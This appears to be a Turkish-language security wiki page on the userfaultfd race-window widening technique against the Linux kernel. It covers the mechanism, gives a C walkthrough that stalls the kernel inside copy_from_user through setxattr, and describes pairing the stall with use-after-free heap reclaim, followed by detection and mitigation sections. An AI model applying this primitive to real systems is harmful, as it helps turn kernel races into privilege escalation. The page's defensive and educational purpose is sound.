Skip to content

userfaultfd race-window widening

userfaultfd() ile kernel execution'ı copy_from_user()/copy_to_user() ortasında askıya al; mikroskobik bir race window'u deterministik kazanılacak kadar geniş bir pencereye çevir.

Mechanism

Neden çalışır

Normalde bir kernel→user race window (bir TOCTOU, bir UAF reclaim, bir freelist overlap) yalnızca birkaç instruction genişliğindedir, dolayısıyla onu kazanmak olasılıksal bir oyundur. userfaultfd bu kısıtı kırar. Unprivileged bir process, userfaultfd(2) ile bir memory range'i register edip o range'in hiçbir page'inin resident olmamasını sağlayabilir. Kernel'in kendisi o range'e dokunduğunda — tipik olarak bir syscall'a hizmet ederken copy_from_user() / copy_to_user() içinde — fault, kernel tarafından çözülmek yerine register edilmiş fd'ye yönlendirilir.

Fault'a giren kernel thread'i o noktada syscall içinde süresiz bloke olur ve userspace'in fault'a UFFDIO_COPY ile hizmet etmesini bekler. Saldırgan, fault'a ne zaman hizmet edileceğini kontrol eder. İstismar edilen invariant şudur: bir user address üzerindeki kernel-mode page fault'ın süresi saldırgan tarafından kontrol edilir. Kernel o copy_*_user()'da park etmişken "açılan" herhangi bir pencere artık efektif olarak sınırsızdır — saldırgan ikinci bir thread çalıştırır, state'i değiştirir, heap'i groom eder, sonra fault'u release eder.

Bu, kör kazanılması neredeyse imkânsız olan race'leri deterministik primitive'lere çevirir; bu yüzden pek çok LPE exploit'i (örn. CVE-2019-18683, birçok setxattr/msg_msg spray'i) onu bir yapı taşı olarak kullanır.

Walkthrough

Yalnızca yetkili test

Yalnızca sahip olduğun bir kernel/VM üzerinde çalıştır. Modern kernel'ler bunu vm.unprivileged_userfaultfd ve UFFD_USER_MODE_ONLY ile kapıya alır (bkz. Mitigation).

1. Bir uffd region register et. fd'yi oluştur, bir page map'le ve onu register et ki otomatik doldurulmak yerine bir fault teslim edilsin:

int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = { .api = UFFD_API };
ioctl(uffd, UFFDIO_API, &api);

void *page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
                  MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
struct uffdio_register reg = {
    .range = { .start = (long)page, .len = 0x1000 },
    .mode  = UFFDIO_REGISTER_MODE_MISSING,
};
ioctl(uffd, UFFDIO_REGISTER, &reg);

2. uffd page'ini kernel'e ver. page'i, onu içeri kopyalayan bir syscall'a (örn. setxattr, write, adjtimex) user buffer olarak geçir. Kernel o page üzerinde copy_from_user()'a ulaştığı an, fault'a giren thread park eder:

// runs in a worker thread; will BLOCK inside the kernel until we service it
setxattr("/tmp/x", "user.k", page, 0x1000, 0);

3. Fault'lara kendi takvimine göre hizmet et. Bir handler thread'i fd'yi poll() eder; UFFD_EVENT_PAGEFAULT geldiğinde kernel syscall ortasında donmuş durumdadır. Race işini yap, sonra release et:

struct uffd_msg msg;
read(uffd, &msg, sizeof msg);            // kernel is now parked
if (msg.event == UFFD_EVENT_PAGEFAULT) {
    /* ---- WINDOW IS OPEN: free/realloc/groom from another thread ---- */
    do_the_racy_work();                  // take all the time you need
    struct uffdio_copy c = {
        .dst = msg.arg.pagefault.address & ~0xfffUL,
        .src = (long)src_payload, .len = 0x1000,
    };
    ioctl(uffd, UFFDIO_COPY, &c);        // unblock the kernel thread
}

Beklenen davranış: syscall thread'i UFFDIO_COPY'ye kadar bloke görünür (/proc/<tid>/stack'te D/S state, handle_userfault'ta park etmiş) ve böylece race işine nanosaniye yerine milisaniye-saniye ölçeğinde bir pencere verir.

Sık görülen eşleştirme

Bir copy_from_user'ı stall ederken ikinci bir thread'in, o copy'nin içine yazacağı object'in bir UAF free'sini tetiklemesi, copy gelmeden önce slot'u bir spray ile reclaim etmene izin verir — kararsız bir double-free'yi kontrollü bir overwrite'a çevirir.

Detection

  • Bir user thread'inin handle_userfault'ta bloke olması, aynı cache üzerinde başka bir thread'in setxattr/msg*/free yollarını dövmesiyle birlikte güçlü bir davranışsal sinyaldir.
  • Unprivileged context'lerden gelen userfaultfd(2) çağrılarında audit/eBPF, özellikle kernel-mode fault handling ile (UFFD_USER_MODE_ONLY yokken).

Mitigation

  • UFFD_USER_MODE_ONLY flag'i (bir uffd'nin yalnızca user-mode fault'ları ele alması, kernel'in user buffer üzerinde aldığı fault'ları değil, için eklendi) stall primitive'ini kaldırırken meşru kullanımı korur.
  • vm.unprivileged_userfaultfd sysctl'i: unprivileged userfaultfd'yi yasaklamak için 0'a ayarla, ya da user-mode-only zorlamasını kullan ki unprivileged handler'lar kernel-mode fault'ları araya giremesin.
  • Birçok distro artık unprivileged uffd'yi varsayılan olarak kapalı tutar; uffd mevcut olmadığında FUSE benzer bir stall primitive'i sağlar (bkz. ilgili teknikler).

References